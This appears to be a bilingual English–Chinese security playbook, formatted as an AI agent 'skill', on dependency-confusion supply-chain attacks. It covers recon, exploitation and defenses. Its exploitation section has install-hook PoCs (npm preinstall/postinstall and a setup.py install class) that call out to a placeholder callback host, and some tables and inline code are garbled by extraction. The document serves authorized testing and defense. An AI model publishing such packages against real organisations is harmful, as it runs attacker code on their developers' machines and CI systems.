dependency-confusion
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Dependency Confusion — Supply Chain Attack Playbook
SKILL: Dependency Confusion — 供应链攻击手册
AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
AI加载说明:专业依赖混淆方法论,涵盖私有包名泄露方式、公共注册表如何在版本解析中胜出、各生态特有缺陷(npm scope、pip额外索引、Maven仓库顺序)、侦察命令、非破坏性PoC模式(回调,不进行数据窃取)以及防御控制措施。当清单或CI缓存属于测试范围时,可与供应链侦察工作流搭配使用。仅可在你获得授权测试的系统和项目上使用。
0. QUICK START
0. 快速开始
What to look for first
- Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
- Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
- Lockfiles missing, stale, or not enforced in CI so /
installcan drift toward public metadata.build
Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.
中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照 把内部包名与公开注册表可对齐性列成清单。
recon-for-sec优先排查要点
- 清单文件中列出的包名看起来是内部使用(短的无scope名称、组织专属标识、产品代号),但没有强制绑定私有注册表。
- 存在证据表明相同名称可能在公共注册表上存在、或可被抢注,且其**语义化版本(semver)**高于私有源发布的版本。
- 锁文件缺失、过时,或在CI中未被强制使用,导致/
install过程可能拉取公共源的元数据。build
快速理解逻辑:如果解析器可以同时访问私有和公共索引,且版本范围允许,那么“最新”的匹配版本可能是攻击者发布的版本。
中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照 把内部包名与公开注册表可对齐性列成清单。
recon-for-sec1. CORE CONCEPT
1. 核心概念
- Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like or an unscoped name such as
@org-scope/internal-utils.acme-billing-sdk - Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
- Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public can beat a private
9.9.9if ranges allow.1.2.3 - Execution: Package managers run lifecycle scripts (npm /
preinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.postinstall
This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.
- 私有包:企业仅在内部注册表发布的依赖库(或遵循“内部专属”命名规范),例如scope形式的,或无scope的
@org-scope/internal-utils。acme-billing-sdk - 攻击者抢注名称:攻击者在公共注册表(npmjs、PyPI、RubyGems等)上发布同名包。
- 解析器优先级:很多配置会从所有已配置的索引中选择最高的匹配版本(或合并元数据),因此如果版本范围允许,公共源的版本会覆盖私有源的
9.9.9版本。1.2.3 - 代码执行:包管理器会运行生命周期脚本(npm的/
preinstall、setuptools入口点等)→ 攻击者代码会在开发者电脑、CI或生产镜像构建环节运行。postinstall
这是典型的供应链类问题:影响范围通常很广(大量使用者),且在构建或运行时钩子触发前很难被发现。
2. AFFECTED ECOSYSTEMS
2. 受影响的生态
| Ecosystem | Typical manifest | Confusion angle |
|---|---|---|
| npm | | Scoped packages ( |
| pip | | |
| RubyGems | | |
| Maven | | Repository declaration order and mirror settings; a public repo publishing the same |
| Composer | | Packagist is default; private packages without |
| Docker | | Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images. |
| 生态 | 典型清单文件 | 混淆风险点 |
|---|---|---|
| npm | | 当scope在公共注册表被企业持有时,带scope的包( |
| pip | | |
| RubyGems | | ** |
| Maven | | 仓库声明顺序和镜像设置;如果策略允许,发布了相同 |
| Composer | | Packagist是默认源;没有规范配置** |
| Docker | | 容器注册表(例如公共Hub)上的镜像名称和内部基础镜像名称相似时的拼写抢注风险。 |
3. RECONNAISSANCE
3. 侦察
Where internal names leak
- Committed ,
package.json,requirements.txt,Gemfile,pom.xmlin repos or forks.composer.json - JavaScript source maps, bundled assets, or error stack traces referencing package paths.
- ,
.npmrc, CI logs showing install URLs or mirror endpoints..pypirc - Issue trackers, gist snippets, and dependency graphs from SBOM exports.
Check public squatting / claimability (read-only)
bash
undefined内部名称泄露途径
- 代码仓库或Fork中提交的**、
package.json、requirements.txt、Gemfile、pom.xml**文件。composer.json - JavaScript source map、打包产物、或错误栈追踪中引用的包路径。
- 、
.npmrc、CI日志中暴露的安装地址或镜像端点。.pypirc - Issue追踪系统、gist代码片段、以及SBOM导出的依赖图谱。
检查公共抢注/可认领状态(只读操作)
bash
undefinednpm — metadata for a name (unscoped)
npm — 查询无scope包的元数据
npm view some-internal-package-name version
npm view some-internal-package-name version
npm — scoped (requires scope to exist / be readable)
npm — 查询带scope的包(需要scope存在/可公开访问)
npm view @some-scope/internal-lib versions --json
npm view @some-scope/internal-lib versions --json
PyPI — dry-run style version probe (adjust name; fails if not found)
PyPI — 干运行版本探测(调整包名;不存在则报错)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
RubyGems — query remote
RubyGems — 远程查询
gem search '^some-internal-package-name$' --remote
gem search '^some-internal-package-name$' --remote
Maven Central — search coordinates (example pattern)
Maven Central — 查询坐标(示例模式)
中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。
---
中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。
---4. EXPLOITATION
4. 漏洞利用
Authorized testing pattern
- Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
- Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g. → publish
^1.0.0).9.9.9 - Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.
npm — minimal callback-style PoC (illustrative)
package.jsonjson
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}npm — shell + curl fallback (illustrative)
package.jsonjson
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}pip — setup hook pattern (illustrative; use only in authorized lab packages)
python
undefined授权测试模式
- 在目标解析器可访问的公共注册表上注册(或使用可控的命名空间)同名包。
- 发布高于合法内部版本、且在受害者声明的版本范围内的版本(例如目标声明→ 发布
^1.0.0版本)。9.9.9 - 添加能证明代码执行但不会损害主机的生命周期钩子,优先选择向你可控的服务发送DNS/HTTP回调,不要进行破坏性写入操作。
npm — 最小化回调式PoC(仅作示例)
package.jsonjson
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}npm — shell + curl 降级方案(仅作示例)
package.jsonjson
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}pip — 安装钩子模式(仅作示例;仅在授权实验包中使用)
python
undefinedsetup.py (excerpt)
setup.py (片段)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
**Reference implementation (study / lab)**: community PoC layout and workflow similar to [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — automate version bump, publish, and callback confirmation **only where you have written permission**.
---from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
**参考实现(学习/实验用)**:社区PoC结构和工作流可参考 [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — 仅在你获得书面授权的场景下,自动化完成版本升级、发布和回调确认操作。
---5. TOOLS
5. 工具
| Tool | Role |
|---|---|
| visma-prodsec/confused | Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem). |
| synacktiv/DepFuzzer | Automated dependency confusion testing workflows (use strictly in-scope). |
Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.
| 工具 | 作用 |
|---|---|
| visma-prodsec/confused | 扫描清单文件,查找可能在公共注册表上被抢注的依赖名称(支持多生态)。 |
| synacktiv/DepFuzzer | 自动化依赖混淆测试工作流(仅在测试范围内使用)。 |
仅可针对你自己的清单文件或授权的项目运行这些工具;不要使用它们为无关第三方抢注包名。
6. DEFENSE
6. 防御措施
- npm: Prefer scoped packages () with org-owned scopes; set
@org-scope/pkgso private scopes map to private registry and default.npmrcis not accidentally public for internal names.registry - Pinning: Exact versions + lockfiles (,
package-lock.json,poetry.lock,Gemfile.lock) enforced in CI.composer.lock - pip: Avoid careless ; prefer single private index with mirroring, or explicit
--extra-index-urlpolicies in CI.--index-url - Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
- Composer: Use with
repositoriesfor private packages; verify Packagist is not introducing unexpected vendors.canonical: true - Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
- Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.
- npm:优先使用企业持有scope的带scope包();配置**
@org-scope/pkg**将私有scope映射到私有注册表,避免内部名称意外使用公共.npmrc。registry - 版本锁定:在CI中强制使用精确版本+锁文件(、
package-lock.json、poetry.lock、Gemfile.lock)。composer.lock - pip:避免随意使用**;优先使用带镜像能力的单一私有索引**,或在CI中配置明确的**
--extra-index-url**策略。--index-url - Maven / Gradle:控制仓库顺序,使用内部镜像,在发布流水线中拦截非预期的groupId。
- Composer:为私有包配置**并设置
repositories**;确认Packagist不会引入非预期的依赖。canonical: true - 防御性注册:政策允许的情况下,在公共注册表上预留内部包名(自己抢注自己的包名)。
- 监控:使用Socket.dev、Snyk或同类SBOM/供应链扫描工具,对核心包的新发布者或版本跳变进行告警。
7. DECISION TREE
7. 决策树
text
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)text
清单文件引用的包名是否不是全局唯一的?
├─ 否 → 仅从命名角度看依赖混淆可能性低;转向拼写抢注/账号泄露风险排查。
└─ 是
├─ 私有注册表是否是该名称的唯一来源(scope绑定+.npmrc配置/单一索引/镜像)?
│ ├─ 是 → 风险较低;仍需确认CI和开发者设备不会覆盖配置。
│ └─ 否 → 高风险
│ ├─ 公共注册表是否可以发布符合声明版本范围的更高版本?
│ │ ├─ 是 → 授权测试中视为可利用;使用回调PoC验证。
│ │ └─ 否 → 检查预发布标签、本地`file:`依赖、过时锁文件。
│ └─ CI中是否禁用/拦截了生命周期脚本?(降低影响,但不会消除抢注风险)Related routing
相关路由
- From : When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.
recon-for-sec
- 来自:开展供应链侦察时,在提出任何发布/PoC步骤前,将泄露的清单和内部包标识与第3节的检查项、第7节的决策树进行交叉校验。
recon-for-sec